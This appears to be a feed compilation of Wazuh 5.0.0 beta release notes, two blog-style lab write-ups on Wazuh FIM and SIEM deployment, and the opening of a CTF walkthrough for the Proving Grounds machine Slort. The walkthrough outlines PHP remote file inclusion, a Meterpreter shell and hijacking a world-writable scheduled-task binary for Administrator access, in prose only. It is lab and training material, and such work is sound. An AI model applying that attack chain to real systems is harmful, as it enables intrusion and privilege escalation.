File integrity monitoring (FIM), sometimes referred to as file integrity management, is a security process that monitors and analyzes the…

Continue reading on InfoSec Write-ups »

• fix: persist engine startup state for CMSync route logging by @jam300 in #37356
• Fix invalid MTU value reported for Windows network interfaces by @vikman90 in #37394
• Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by @lchico in #37414
• Suppress version-coordination WARNINGs on stop/unavailable module by @lchico in #37372
• Clarify security policy for pre-release versions and disclosure timeline by @vikman90 in #37423
• Bump 5.0.0 branch by @wazuhci in #37429
• wazuh-manager: Memory and copy-reduction improvements part 1 by @matigarciadev in #36979
• Improve default cores detection by @LucioDonda in #37288
• Standardize and verify Wazuh configuration documentation by @TomasTurina in #37411
• Handle rootcheck removed tags by @rovogel in #37346
• Update docs (agent) for the new password in manager by @Miguevrgo in #37420
• Backport the workflow for generating pre-release agent issues to version 5.0.0 by @MarcelKemp in #37490
• Upgrade 5.0.0 python dependencies by @jepalfer in #37361
• Change indexer user name and password by @TomasTurina in #37502
• Remove startup deprecation warning from cluster_control and agent_upgrade by @vikman90 in #37509
• Change indexer username and password to wazuh-manager by @TomasTurina in #37520
• Fix to improve fim_sync db performance. by @hernanvalenzuela in #37180
• SCA/FIM sync lifecycle: close DBs on graceful shutdown, defer coordination during first sync, and increment SCA check version on change by @jr0me in #37353
• Fix version comparison in indexer documents updates by @TomasTurina in #37498
• Propagate sync errors to each module by @jpcerrone in #37212
• Cache indexer credentials in clusterd by @TomasTurina in #37504
• Standardize CHANGELOG format and keep prior versions in the bumper by @jotacarma90 in #37513
• Warn on duplicate agent connection only when it persists by @jotacarma90 in #37493
• Backport: Lower DBSync-not-available shutdown messages to DEBUG to 5.0.0 by @anromerom in #37567
• Add retry logic to indexer templates download by @TomasTurina in #37643
• Reduce authd enrollment log severity for expected rejections by @jotacarma90 in #37540
• Reduce memory usage when downloading VDP feed by @Antoniogm03 in #37375
• Fix server-side version bump for disconnected agent metadata updates by @TomasTurina in #37647
• Re-enable AWS Inspector integration tests in 5.0.0 by @MAnDumu in #37645
• Fix sca internal limits by @rovogel in #37438
• Silence untrustworthy FIM schema-validation errors during shutdown by @Nicogp in #37688
• Fix spurious ERROR/WARNING logs during agent shutdown by @Nicogp in #37673
• Fix daemon stats for analysisd by @NahuFigueroa97 in #37525
• Resolve logging macro collisions and improve LogFn design (#37354) by @jotacarma90 in #37393
• Enable authd in manager source-install integration test step by @jotacarma90 in #37693
• Stop verify-agent-conf from falsely warning on agent-only wodle blocks, without breaking their validation by @vikman90 in #37680
• Fixing CIS 6.1.9 rule impossible permission check for /etc/group- by @hossam1522 in #35405
• Lower connection socket error log to debug level in wazuh-agentd by @MAnDumu in #37685
• Memory improvements part 2 by @NahuFigueroa97 in #37433
• Fix make clean-deps failing when src/external is missing by @vikman90 in #37724
• fix date schema validation error in scheduled metrics by @LucioDonda in #37703
• Report failure when block-ip fails to block an IP by @lchico in #37439
• Fix rename race on logcollector file status during shutdown by @Miguevrgo in #37695
• Calibrate log levels in router and vulnerability_scanner by @jotacarma90 in #37731
• Adds AR Windows binary extension fallback by @rjcausarano in #37496
• Lower httpsrv C++ standard from 20 to 17 by @jotacarma90 in #37751
• Add new indexer API roles mapping by @jepalfer in #37746
• Fix Windows block-ip firewall-enabled check misfire and ineffective route fallback by @nbertoldo in #37430
• Free rpm macro context to stop unbounded growth by @Nicogp in #37758
• Report modulesSync failure as debug during agent shutdown by @anromerom in #37689
• Report manager-not-ready sync failures as deferred by @anromerom in #37720
• wazuh-engine: Indexer connector exponential backoff by @matigarciadev in #37756
• Fix issue reference in the daemons stats changelog entry by @jotacarma90 in #37827

Full Changelog: v5.0.0-beta3...v5.0.0-beta4

Removed

• Removed deprecated wazuh-dbd daemon and database_output configuration. (#37035)

Fixed

• Improved cluster payload buffer allocation strategy. (#37280)
• Improved cluster archive decompression limits. (#37119)
• Improved cluster worker file path validation. (#36998)
• Improved API authentication stability with bounded thread pools, regex timeouts and payload size limits. (#37034)
• Updated aiohttp, cryptography, PyJWT, python-multipart and starlette Python dependencies. (#37361)

Agent

Fixed

• Fixed AWS SQS subscriber wodle resolving the wrong AWS account for cross-account iam_role_arn configurations. (#36791)
• Fixed agent keepalive scheduling after a system clock rollback causing false Disconnected status. (#36338)
• Fixed eBPF FIM whodata dropping file events on older kernels such as Amazon Linux 2 and 2023. (#37014)
• Fixed eBPF FIM whodata missing file move/rename events into monitored folders. (#37023)
• Added IP address validation to the ip-customblock active response to prevent malformed input in file path operations. (#36730)
• Added a null check for inode and device fields in the FIM whodata event handler. (#37245)

Ruleset

Fixed

• Fixed multiple Debian, Ubuntu and Windows SCA checks generating incorrect results. (#37385)
• Fixed a typo in the SELinux SCA check causing false failures on CentOS 8, 9 and 10 systems configured as permissive. (#36361)
• Fixed the AlmaLinux 9 and 10 bootloader permissions SCA check regex and optional file handling. (#36396)
• Fixed the /etc/gshadow- permissions SCA check always failing due to an incorrect all condition. (#36795)
• Fixed a macOS SCA PolicyBanner check false failure by wrapping the command in sh -c for glob expansion. (#36783)

RESTful API

Fixed

• Fixed TypeError when sorting agents by version with empty version strings. (#37323)
• Improved sensitive data masking in cluster configuration endpoint. (#37039)

In this project, I implemented File Integrity Monitoring (FIM) using Wazuh to detect file system and Windows Registry changes in a lab environment. Custom FIM rules was configured to monitor user directories and registry Run keys, then validated the setup by manually creating, modifying, and deleting files and folders, and by running a benign malware simulation that triggered Windows processes leading to registry updates. This demonstrated how FIM detects not only direct malicious modifications but also related system-level activity that occurs during suspicious endpoint behavior, supporting incident investigation and root-cause analysis.

File Integrity Monitoring (FIM) is a security control used to track changes made to files and system configurations. It helps detect when files are created, modified, or deleted, and when critical system areas like the Windows Registry are altered. Since many attacks rely on changing files or registry keys to maintain persistence or evade detection, FIM provides an important layer of visibility into what’s happening on an endpoint. For this project, i used Windows endpoint.

You can read more about File Integrity Monitoring in official Wazuh Documentation here

Configuration & Detection

1. Edit the agent’s ossec.conf file

• On the Windows endpoint, the Wazuh agent configuration file is located at

C:\Program Files (x86)\ossec-agent\ossec.conf

and edit the ossec.conf file using notepad (open as an administrator).

• Add the directories you want to monitor within the <syscheck> block

<directories check_all="yes" report_changes="yes" realtime="yes">C:\Users\Public</directories>
<directories check_all="yes" report_changes="yes" realtime="yes">C:\Users\Public\Downloads</directories>
<directories check_all="yes" report_changes="yes" realtime="yes">C:\Users\Lily\Desktop</directories>

• Restart the Wazuh agent to apply changes

Restart-Service wazuh-agent

2. Test the Configuration

• Create files

I created a file on Desktop named “Malware Docs”

Alert Visualization

Navigate to Endpoint security > File Integrity Monitoring > Events on the Wazuh dashboard to view the alert generated when the FIM module detects changes in the monitored file. The created file was logged as ‘file added’

• Modify Files

To demonstrate file modification detection, I edited the contents of a file in the Downloads folder named “Malicious.txt”

Alert Visualization

This action was detected by Wazuh File Integrity Monitoring and logged as a “file modification” event in the dashboard.

• Delete Files

Several files were deleted, and this activity was detected by Wazuh File Integrity Monitoring and logged as “File deleted” events.

• Registry Modification

To demonstrate registry monitoring, I ran a benign malware simulation that attempted to establish persistence. This action triggered legitimate Windows system processes, which in turn updated related registry keys in the background. Wazuh detected these changes and logged them as registry modification events, demonstrating how File Integrity Monitoring can capture both direct malware activity and the secondary system behaviors it provokes.

Dashboard Insights & Key Takeaways

This project demonstrated the practical value of File Integrity Monitoring through hands-on configuration, testing, and analysis using Wazuh. I successfully monitored file systems and Windows Registry keys, validated detection with manual changes and a malware simulation, and used the Wazuh dashboard to turn raw alerts into actionable insights.

FIM proved to be a critical visibility tool not just for compliance, but for real-time detection, rapid investigation, and understanding attack behaviors through change analysis. By capturing both legitimate and malicious modifications, it serves as a foundational layer in a proactive security posture.

Many thanks to Efam Harris for inspiring me to take on this project.

Wazuh File Integrity Monitoring: Tracking Endpoint Modifications in Real Time was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

This project demonstrates the deployment of Wazuh, an open-source, industry-recognized SIEM and host-based intrusion detection platform, in a virtualized lab environment. Wazuh was selected for this project due to its wide adoption in security operations, strong community support, and alignment with real-world SOC practices.

A Wazuh Manager was installed on an Ubuntu system and configured to centrally monitor three endpoints: Windows, Kali Linux, and Ubuntu. Each endpoint was successfully enrolled as a Wazuh agent and configured to forward system logs and security events to the manager for analysis.

The project validates end-to-end log collection and visibility through the Wazuh web dashboard, demonstrating how security events from multiple operating systems can be centrally analyzed. This setup reflects a realistic enterprise monitoring scenario and highlights the effectiveness of Wazuh as a cost-effective, open-source security monitoring solution used across modern SOC environments.

Tools Used

• Wazuh SIEM (Open Source): Centralized security monitoring, log collection, and host-based intrusion detection platform
• Ubuntu Server: Hosting the Wazuh Manager, Indexer, and Web Dashboard
• Windows : Endpoint monitored using the Wazuh agent (Agent 1)
• Kali Linux: Linux endpoint monitored using the Wazuh agent (Agent 2)
• Ubuntu: Linux endpoint monitored using the Wazuh agent (Agent 3)
• VMware Workstation: Virtualization platform used to host all systems
• Web Browser (Windows): Used to access the Wazuh web dashboard over HTTPS

Wazuh Deployment

Wazuh was deployed on Ubuntu Server using the official all-in-one installation script, following the Wazuh deployment guide. Read here

curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh && sudo bash ./wazuh-install.sh -a

This command installs all required dependencies along with the Wazuh Manager, Indexer, and Dashboard. Upon completion of the installation, a username and password are automatically generated for accessing the Wazuh web interface.

Firewall Configuration

The firewall on the Wazuh server was configured to allow all Wazuh components to communicate properly, including agents, the dashboard, indexer, and Syslog. The following UFW rules were applied:

# Essential Wazuh ports
sudo ufw allow 1514/tcp   # Agent → Manager communication
sudo ufw allow 1515/tcp   # Agent enrollment
sudo ufw allow 443/tcp    # Wazuh Web Dashboard (HTTPS)

# Optional ports for future use
sudo ufw allow 55000/tcp  # Wazuh API
sudo ufw allow 514/tcp    # Syslog collector
sudo ufw allow 22/tcp     # SSH access to server

sudo ufw enable - Enables the UFW firewall
sudo ufw status numbered - Displays the current firewall status and lists all active rules with numbering

Accessing the Wazuh Web Interface

After the firewall was configured to allow all essential ports, the Wazuh web dashboard was accessed via a web browser. This interface provides centralized visibility into all connected agents, system events, and security alerts.

https://192.168.79.145:443

Log in using the username and password generated during installation.

Agents Enrollment

To enroll an agent, navigate to Endpoints, Deploy new agents.

Agent 1: Windows

Step 1: Select windows architecture

Step 2: Enter the Wazuh Manager IP Address

Step 3: Set agent name (optional)

Step 4: Copy and Run the Installation Command in Powershell. Run Powershell with administrator privileges

Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.2-1.msi -OutFile $env:tmp\wazuh-agent; msiexec.exe /i $env:tmp\wazuh-agent /q WAZUH_MANAGER='192.168.79.145' WAZUH_AGENT_GROUP='default' WAZUH_AGENT_NAME='Windows'

Step 5: Still in Powershell, run this command to start Wazuh agent

NET START Wazuh

Agent 2: Kali Linux

On the Deploy new agent;

Step 1: Select the Operating System

• Choose Linux as the target OS.
• For Kali Linux, choose DEB amd64.

Step 2: Assign Server Address

• Enter your Wazuh manager’s IP address:

Step 3: Set Agent Name (Optional)

• Enter a unique agent name (Kali)

Step 4: Copy and run the installation command

• The UI generates a command tailored to your inputs. Run it in your Kali terminal:

wget https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.14.2-1_amd64.deb && sudo WAZUH_MANAGER='192.168.79.145' WAZUH_AGENT_GROUP='default' WAZUH_AGENT_NAME='Kali' dpkg -i ./wazuh-agent_4.14.2–1_amd64.deb

Step 5: Start and Enable the Agent

Run the following commands to activate the agent:

sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent

Agent 3: Ubuntu

Repeat the same steps as Agent 2

Copy and run the installation command

• The UI generates a command tailored to your inputs. Run it in your Ubuntu terminal:

wget https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.14.2-1_amd64.deb && sudo WAZUH_MANAGER='192.168.79.145' WAZUH_AGENT_GROUP='default' WAZUH_AGENT_NAME='Ubuntu' dpkg -i ./wazuh-agent_4.14.2-1_amd64.deb

Start and Enable the Agent

Run the following commands to activate the agent:

sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent

Dashboard of all Enrolled Agents

Conclusion

Through the deployment and configuration of Wazuh, I successfully set up a centralized security monitoring environment with multiple agents across Windows, Kali Linux, and Ubuntu. Wazuh provides real-time visibility into system events, log collection, and threat detection, making it a robust and open-source industry-standard SIEM solution. Beyond log monitoring, Wazuh can be leveraged for File Integrity Monitoring (FIM) to track changes in critical files and directories, detect unauthorized modifications, and alert security teams.

Additionally, it integrates seamlessly with other security tools and services, such as Syslog for centralized logging, SSH for remote administration, and custom APIs for automated workflows, enabling comprehensive and proactive security operations.

This setup serves as a foundation for future projects, where I plan to expand Wazuh’s capabilities with additional agents, advanced detection rules, integrations with threat intelligence feeds, and custom security automation workflows to simulate real-world SOC scenarios.

Many thanks to Efam Harris 🫡

Wazuh SIEM Deployment with Multi-OS Agents was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

• Improve cluster file synchronization error handling by @TomasTurina in #36129
• Update trojan signatures to avoid false positives on modern distros by @Miguevrgo in #35927
• Improve cluster merged file parameter validation by @vikman90 in #36204
• Create a backup of local_rules.xml during execution of IT analysisd tier 0 1 by @Antoniogm03 in #36201
• Improve tmp_file path validation in cluster DAPI by @vikman90 in #36246
• Revert bump main branch by @wazuhci in #36303
• Bump 4.14.7 branch by @wazuhci in #36312
• Serialize procps access to prevent modulesd crash by @cborla in #36261
• Remove obsolete configuration blocks from API upload_configuration setting by @TomasTurina in #36252
• Restore working vulnerability scanner database workflow by @jotacarma90 in #36332
• Propagate agent merged_sum after hot reload in cluster by @jotacarma90 in #36164
• Merge 4.14.7 into main by @jotacarma90 in #36331
• Authd tier 0-1 flaky tests fix by @jotacarma90 in #36342
• Review agent info logs by @Antoniogm03 in #36234
• Fix the wazuh-manager-modules crash that occurs while downloading the feed by @Antoniogm03 in #36337
• Migrate FIM DB path queries to parameterized statements by @Darioortegaleyva in #36399
• Fix AlmaLinux 9/10 bootloader permissions SCA check regex and optional file handling by @vikman90 in #36396
• Cluster file processing parameter validation by @vikman90 in #36296
• Add missing 4.10.2-4.10.5 and 4.8.2 entries to changelogs by @jotacarma90 in #36407
• Treat the absence of the hash document as expected, not an error by @juliancnn in #36355
• geo_point validation support all compatible formats by @LucioDonda in #36034
• Prevent Syscollector and SCA use-after-free on modulesd shutdown by @nbertoldo in #36359
• Add cluster security model and configuration documentation by @vikman90 in #36405
• Bump CB_SCAN_STARTED timeout and trigger ITs on wm_syscollector.c by @jr0me in #36446
• Fixed an issue in eBPF with LSM hooks and improved the health check by @MarcelKemp in #35838
• Validate cluster node name format by @vikman90 in #36460
• eBPF libraries updated by @MarcelKemp in #36467
• Bump 4.14.6 branch by @wazuhci in #36517
• Revert "Bump 4.14.6 branch" by @MARCOSD4 in #36518
• Bump 4.14.6 branch by @wazuhci in #36519
• Update changelog for 4.14.6 RC 1 by @jotacarma90 in #36562
• Fix policy evaluation errors by @fcontrerasc in #36449
• Release startup hash gate when the reload chain fails by @jr0me in #36302
• Revert "Add missing 4.10.2-4.10.5 and 4.8.2 entries to changelogs" by @MarcelKemp in #36591
• Merge merge-4.14.7-into-main into main [automated] by @wazuhci in #36624
• Restore event counter and classify received messages by @jotacarma90 in #36456
• Unify manager integration tests workflows by @ignaciogalle12git in #36235
• Remove unused Node.js 12 from arm64 deb agent builder by @Miguevrgo in #36156
• Remove unused Node.js 12 from arm deb agent builders (4.14.7) by @Miguevrgo in #36157
• SCA typo bug in SELinux SCA rule for CentOS 8/9/10 by @Miguevrgo in #36361
• Fix detect-changes glob to honour ** recursively and extract logic into a reusable action by @Nicogp in #36617
• Merge merge-4.14.6-into-4.14.7 into 4.14.7 [automated] by @wazuhci in #36623
• Reduce log noise when engine has no synchronized ruleset by @NahuFigueroa97 in #36356
• Update test modules paths by @rovogel in #36668
• Only download external deps when required by @TomasTurina in #36244
• Merge 4.14.7 into main by @jotacarma90 in #36664
• Mail forwarding and reporting 5.0 migration guide by @Ripdiegozz in #36357
• Added Ubuntu 26.04's SCA policy in the SPECS by @MarcelKemp in #36712
• Preliminary support new OSs - Ubuntu 26.04 - Add SCA content by @AwwalQuan in #36708
• Safeguards to inventory sync by @juliancnn in #36469
• Improve the method of detecting duplicates by @NahuFigueroa97 in #36344
• Fix race condition preventing inventory synchronization after agent reload by @nbertoldo in #36682
• Added API integration tests workflow by @MiguelazoDS in #36196
• Fix non-atomic write for file_status.json in logcollector by @nbertoldo in #36722
• Make agent-info shutdown waits interruptible by @lchico in #36719
• Validate IP address in ip-customblock active response by @vikman90 in #36730
• wazuh-agent remains active after uninstall on Fedora 44 / DNF5 by @Miguevrgo in #36727
• Use per-target rpath and remove redundant LD_LIBRARY_PATH/WAZUH_ENGINE_GROUP exports by @jotacarma90 in #36455
• Fix changelog chronological order and update bumper script by @Darioortegaleyva in #36729
• Monitoring a symlink without follow_symbolic_link by @Darioortegaleyva in #36081
• SCA policies migration guide from 4.x to 5.x by @jr0me in #36671
• Fix 5x wazuhdb integration tests by @ignaciogalle12git in #36713
• Downgrade transient manager-reported sync failures logs to debug by @jr0me in #36744
• Show sca timouts as Not Run by @jpcerrone in #36258
• Authd workflow creation for 5.x by @jepalfer in #36404
• Adapt remoted tests to 5.x by @Antoniogm03 in #36609
• Update unclassified event criteria by @LucioDonda in #36681
• use safeloader in yaml file loader by @LucioDonda in #36753
• Downgrade expected modulesd socket warnings/errors during agent restart to debug by @jr0me in #36755
• Documentation: Ciscat and openscap migration to SCA by @jpcerrone in #36723
• Document the deprecation of OSquery in order to use IT Hygiene in version 5.0 by @nbertoldo in #36756
• Preserve wazuh-syscheckd Full Disk Access attribution on macOS reload by @Nicogp in #36754
• Normalize severity Msg by @hernanvalenzuela in #36759
• Agent Groups 5x Migration Guide by @fcontrerasc in #36726
• Add NULL validation for optional FlatBuffer fields in inventory_sync by @vikman90 in #36773
• Fix agent keepalive scheduling after system clock rollback by @Darioortegaleyva in #36338
• Create integratord migration guide to 5.x by @Adman23 in #36750
• Syslog output (csyslogd) 5.0 migration guide by @gonzaarancibia in #36741
• Merge merge-4.14.7-into-main into main [automated] by @wazuhci in #36767
• Migration documentation: syslog input alternative by @rovogel in #36781
• Drop libcrypt dependency from Python dep by @jotacarma90 in #36782
• Change duplicated link to intented one by @Miguevrgo in #36794
• Add centralized input validation for active response framework by @vikman90 in #36745
• Fix sca check for etc/shadow by @Miguevrgo in #36795
• Align remoted metrics shipper with new field names by @jotacarma90 in #36740
• Fix wrap PolicyBanner stat in 'sh -c' so glob expands in macOS SCA check 41062 by @Nicogp in #36783
• Bump main branch by @wazuhci in #36801
• Defer module coordination while FIM first sync is in progress by @anromerom in #36762
• Revert "Bump main branch" by @MARCOSD4 in #36802
• Change log severity for recoverable and expected conditions by @hernanvalenzuela in #36786
• Prevent data race in schema validator factory concurrent initialization by @Nicogp in #36789
• Schema generation for dotted and nested field mappings by @jam300 in #36473
• Engine support null values in schema validation by @LucioDonda in #36470
• docs: add Active Response 4.x to 5.x migration guide by @jcorredor-spec in #36402
• Use env mappings for variable passing in builderpackage workflows by @Miguevrgo in #36738
• Adds 4.x to 5.x migration documentation. by @rjcausarano in #36785
• Fix AWS cross-account SQS queue URL when using iam_role_arn by @fcontrerasc in #36791
• Fix enrollment key validation and improve input handling by @vikman90 in #36807
• Lower agent_sync_protocol and module sync log levels to reduce false-alarm noise by @Nicogp in #36817
• Add unit tests for utils, aws_tools, DockerListener, gcloud and azure modules by @AnDumu in #36761
• Normalize numeric inode to string events (6960) by @hernanvalenzuela in #36837
• Prevent indexer consumer wait during shutdown by @jotacarma90 in #36836
• Update manager 5x documentation by @ignaciogalle12git in #36833
• Add bump-issue-link support to bumper workflow by @jotacarma90 in #36868
• Add guide for migrating manager coordinator from 4.x to 5.x by @jepalfer in #36829
• Add Wazuh Manager Configuration documentation from 4.x to 5.x by @Antoniogm03 in #36779
• Add documentation to migrate filebeat to indexer connector by @Antoniogm03 in #36866
• wazuh-manager: Benchmark and footprint by @juliancnn in #36145
• Update manager upgrade block message by @jotacarma90 in #36987
• 5.x PR workflows improvements by @ignaciogalle12git in #36766
• Add Manager 5.0 release notes and breaking changes by @ignaciogalle12git in #36850
• ci(gha): migrate server/manager workflows to AWS CodeBuild runners [main] by @jotacarma90 in #37012
• chore: update vulnerable Python framework dependencies by @jotacarma90 in #37024
• Add Manager 5.0 wazuh-manager.conf configuration reference by @jotacarma90 in #36999
• Add virustotal migration guide by @jepalfer in #37013
• Add VD migration documentation by @ignaciogalle12git in #37008
• Add documentation for wpk upgrade by @Antoniogm03 in #37015
• Migrate agent build workflows to AWS CodeBuild runners by @Nicogp in #37028
• XML Decoders migration to YAML by @jepalfer in #36959
• CDB to KVDB migration guide by @jepalfer in #36996
• Documentation of Agentless migration to 5.x by @Antoniogm03 in #37025
• Fix manager reload/restart silently fails by @ignaciogalle12git in #36962
• Randomize key generation for installation by @jepalfer in #36861
• Retry vulnerability feed validation failures promptly by @jotacarma90 in #36874
• Bump 5.0.0 branch by @wazuhci in #37040
• Fix agent permanently stuck when TCP connection is silently half-closed by @nbertoldo in #36790
• ci(gha): migrate server/manager workflows to AWS CodeBuild runners [4.14.6] by @jotacarma90 in #37010
• ci(gha): migrate server/manager workflows to AWS CodeBuild runners [4.14.7] by @jotacarma90 in #37011
• fix: correct blob URL refs for release branch by @jotacarma90 in #37046
• Use restricted wazuh-server user for Manager Indexer authentication by @jotacarma90 in #37061
• fix(packages): use wazuh-manager-control in manager init.d scripts by @jotacarma90 in #37059
• fix: Update the unclassified event doc by @juliancnn in #37126
• Skip vanished /proc entries during ports scan by @Nicogp in #36859
• Fix RBAC permission check to verify allow effect in update_config rules by @vikman90 in #37076
• Add destination confinement to worker non-merged and extra file sync paths by @jotacarma90 in #36998
• Patch cluster authentication by @ignaciogalle12git in #37039
• Lower stale-session indexer log to debug by @jotacarma90 in #37150
• Limit recursion depth in XML parser by @vikman90 in #37147
• Add status endpoint by @NahuFigueroa97 in #37022
• Add log collectors reference docs by @AnDumu in #37057
• Run the Windows MSI package test on the AWS CodeBuild runner by @nbertoldo in #37165
• Remove merged.mg hash cache to fix stale syscollector flush by @hernanvalenzuela in #37048
• Enrich MITRE fields with id and names by @fcontrerasc in #37054
• Reduce indexer connection warning noise by @jam300 in #37021
• Remove deprecated wazuh-dbd daemon by @vikman90 in #37035
• Bound decompressed size when processing sync archives by @jotacarma90 in #37119
• Bump 4.14.6 branch by @wazuhci in #37176
• Add libcrypt fix (#36782) to 4.14.6 changelog by @jotacarma90 in #37178
• Delay IndexerDownloader connection warnings until 3 failed attempts by @jotacarma90 in #37177
• Add parameterized target selection to Coverity scan workflow by @lchico in #37171
• Align remoted tier 2 CodeBuild setup by @jotacarma90 in #37155
• Add rules migration guide by @Jorgesnchz in #36305
• Migrate agent Linux/Windows test workflows to AWS CodeBuild runners by @Nicogp in #37051
• Silence spurious keepalive warnings on the Windows agent by @nbertoldo in #37187
• wazuh-engine: Improve log messages and logger by @juliancnn in #36995
• Set default indexer connector credentials by @TomasTurina in #37192
• Fix incorrect snprintf size calculation in winevtchannel decoder by @vikman90 in #37198
• Align VD feed-download log levels with indexer consumer state by @jotacarma90 in #37199
• Recognize renamed indexer consumer status in engine sync by @jotacarma90 in #37204
• Merge 4.14.6 into 4.14.7 by @jotacarma90 in #37210
• Token replacement to avoid permission errors by @MarcelKemp in #37237
• Merge 4.14.7 into 5.0.0 by @jotacarma90 in #37211
• Eliminate TOCTOU races in healthcheck file operations by @rjcausarano in #37160
• Sca file policy block standardization by @Johnng007 in #37179
• Bind agent index selection and scope deletes by cluster by @jotacarma90 in #37154
• Add Null Check for Inode and Dev Fields in FIM Whodata Event Handler by @vikman90 in #37245
• Docs/6764 logcollector whats new 5.0 by @AnDumu in #37056
• Repair RPM builder toolchain downloads by @jr0me in #37130
• Add cluster name validation by @TomasTurina in #37238
• Add cluster readiness endpoint by @NahuFigueroa97 in #37129
• Defer cluster payload buffer allocation until data is received by @jepalfer in #37280
• Indexer connector bulk size and flush interval configurable by @LucioDonda in #37158
• Enable shared-password enrollment by default by @ignaciogalle12git in #37151
• Fix unit test workflow paths and report handling by @jotacarma90 in #37317
• Migrate agent + server CI artifacts to S3 — 4.14.7 (#5300, #5298) by @jr0me in #37186
• Handle eol amazon inspector classic by @rovogel in #37194
• Fix wazuh-modulesd missing after macOS agent restart by @cborla in #37020
• Fix test_worker failing unit test by @jepalfer in #37314
• Improve log messages by @Antoniogm03 in #36876
• Improve changelog format by @jotacarma90 in #37332
• Lower log level of transient cluster IPC failures (#37277, #37276) by @jotacarma90 in #37326
• Fix TypeError when sorting agents by version with empty version strings by @TomasTurina in #37323
• Migrate agent + server CI artifacts to S3 — 5.0.0 (#5300, #5298) by @jr0me in #37185
• Validate asset resource names before policy promotion by @jam300 in #37172
• Revert wazuh-server indexer credentials and propagate log context in indexer connector by @jotacarma90 in #37333
• Add VD readiness status HTTP endpoint by @jotacarma90 in #37213
• Use github.workspace for wodles report paths by @Nicogp in #37342
• Skip FIM whodata cases on the tier-2 Linux job (CodeBuild) by @Nicogp in #37291
• Migrate 4.x Windows test runners to AWS CodeBuild by @Nicogp in #37193
• Lower log level of transient queue send failures in modulesd by @lchico in #37345
• Add changelog check workflow by @TomasTurina in #37343
• Add changelog check workflow for 5.0.0 by @TomasTurina in #37351
• Retry OS_SendUnix on ENOBUFS to stop dropping binary sync messages on macOS by @nbertoldo in #37349
• change: Allow null root_decoder as alias of empty string on policy cr… by @juliancnn in #37347
• Fix eBPF FIM whodata for Amazon Linux by @Miguevrgo in #37014
• Merge 4.14.6 into 4.14.7 by @jotacarma90 in #37358
• Bump 5.0.0 branch by @wazuhci in #37371
• Merge 4.14.7 into 5.0.0 by @jotacarma90 in #37360
• Migrate remaining CI artifacts to S3 for the 5.0.0 branch (#3502) by @jr0me in #37350

New Contributors

• @MARCOSD4 made their first contribution in #36518
• @Ripdiegozz made their first contribution in #36357
• @Adman23 made their first contribution in #36750
• @jcorredor-spec made their first contribution in #36402

Full Changelog: v5.0.0-beta2...v5.0.0-beta3

Removed

• Removed unused SSL/TLS transport option from cluster. (#35648)

Fixed

• Improved message decompression handling in remoted. (#35773)
• Improved agent name validation to reject names starting with dot. (#35833)
• Fixed segfault in vulnerability scanner module shutdown when disabled. (#36011)
• Fixed string buffer handling in version comparison function. (#36059)
• Improved cluster file synchronization security. (#36060)
• Improved cluster file synchronization error handling on invalid task identifiers. (#36129)
• Improved cluster merged file parameter validation to prevent directory escape. (#36204)
• Improved tmp_file path validation in cluster DAPI. (#36246)
• Improved cluster non-merged file path validation during worker file processing. (#36296)
• Improved cluster node name format validation in the hello handler. (#36460)
• Fixed missing agent.host.ip in inventory documents when agent IP is empty. (#35475)
• Fixed stale agent synced status after hot reload on cluster worker nodes. (#6726)

Agent

Fixed

• Fixed agent registration not running on reinstall after apt-get remove. (#35727)
• Fixed MS-Graph integration handling for relationships containing /. (#35431)
• Fixed macOS syscollector to skip package receipts whose payload is no longer installed. (#35380)
• Fixed missing eBPF create, modify and delete events on Ubuntu 24/26 and improved FIM whodata healthcheck. (#35838)
• Hardened FIM database path lookups by migrating to parameterized SQL queries. (#36399)

RESTful API

Fixed

• Escaped control characters in API usernames in access logs. (#35866)
• Added input validation in cluster result handling and authentication. (#35757)
• Fixed current user resolution in the update-user endpoint to enforce admin protection. (#35442)

Ruleset

Fixed

• Updated rootcheck trojan signatures to avoid false positives on modern distributions (Debian 13, Ubuntu 26, Arch Linux). (#35927)

Other

Changed

• Updated cryptography, urllib3 and python-multipart Python dependencies. (#35982)
• Updated eBPF libraries: libbpf to 1.7.0 and bpftool to 7.7.0. (#36467)

Fixed

• Fixed wazuh-manager startup failure on RHEL 10 by dropping the libcrypt dependency from embedded Python. (#36782)

Tags: #Cyber Security | #NIS2 | #Open Source | #SIEM

Slort is a Windows machine that chains a PHP remote file inclusion vulnerability with a world-writable scheduled task binary to deliver a full Administrator session. The web server on port 8080 runs an XAMPP stack hosting a custom PHP application that passes the ?page= GET parameter directly into include() it with no sanitisation. With allow_url_include enabled — a dangerous PHP setting common in old XAMPP installations — pointing the parameter at an attacker-controlled URL causes the server to fetch and execute arbitrary PHP. That gets a Meterpreter shell as rupert. From there, standard automated enumeration turns up nothing. Manual filesystem exploration finds the answer: C:\Backup\info.txt documents a scheduled task invoked TFTP.EXE on a five-minute interval as Administrator. icacls confirms every authenticated user has full control over the binary. Replace it with a Meterpreter payload and wait for the scheduler to complete the chain.

Attack Path: ffuf → /site/index.php?page= (RFI via allow_url_include) → Meterpreter as rupert → C:\Backup\TFTP.EXE (world-writable, scheduled as Administrator) → Meterpreter as SLORT\Administrator

Platform: OffSec Proving Grounds Play
Machine: Slort
Difficulty: Intermediate
OS: Windows
Date: 20XX-XX-XX

Table of Contents

1. Reconnaissance
   1.1  Nmap Port Scan — Fast Pass
   1.2  Nmap Port Scan — Full Range
   1.3  Dead-End Service Checks (FTP, SMB, MariaDB)
2. Web Enumeration
   2.1  Directory Busting — Port 8080
   2.2  Enumerating /site/
   2.3  Identifying the File Inclusion Parameter
3. Initial Access — RFI via PHP allow_url_include
   3.1  Confirming LFI via Path Traversal
   3.2  Confirming RFI and Deploying a PHP Webshell
   3.3  Upgrading to an Interactive Meterpreter Session
4. Post-Exploitation Enumeration
   4.1  Token Privileges
   4.2  Group Membership
   4.3  Auto-Starting Services
   4.4  Scheduled Tasks
   4.5  Registry Run Keys
   4.6  Manual Filesystem Exploration — C:\Backup
5. Privilege Escalation — Writable Scheduled Task Binary
   5.1  Confirming Write Access with icacls
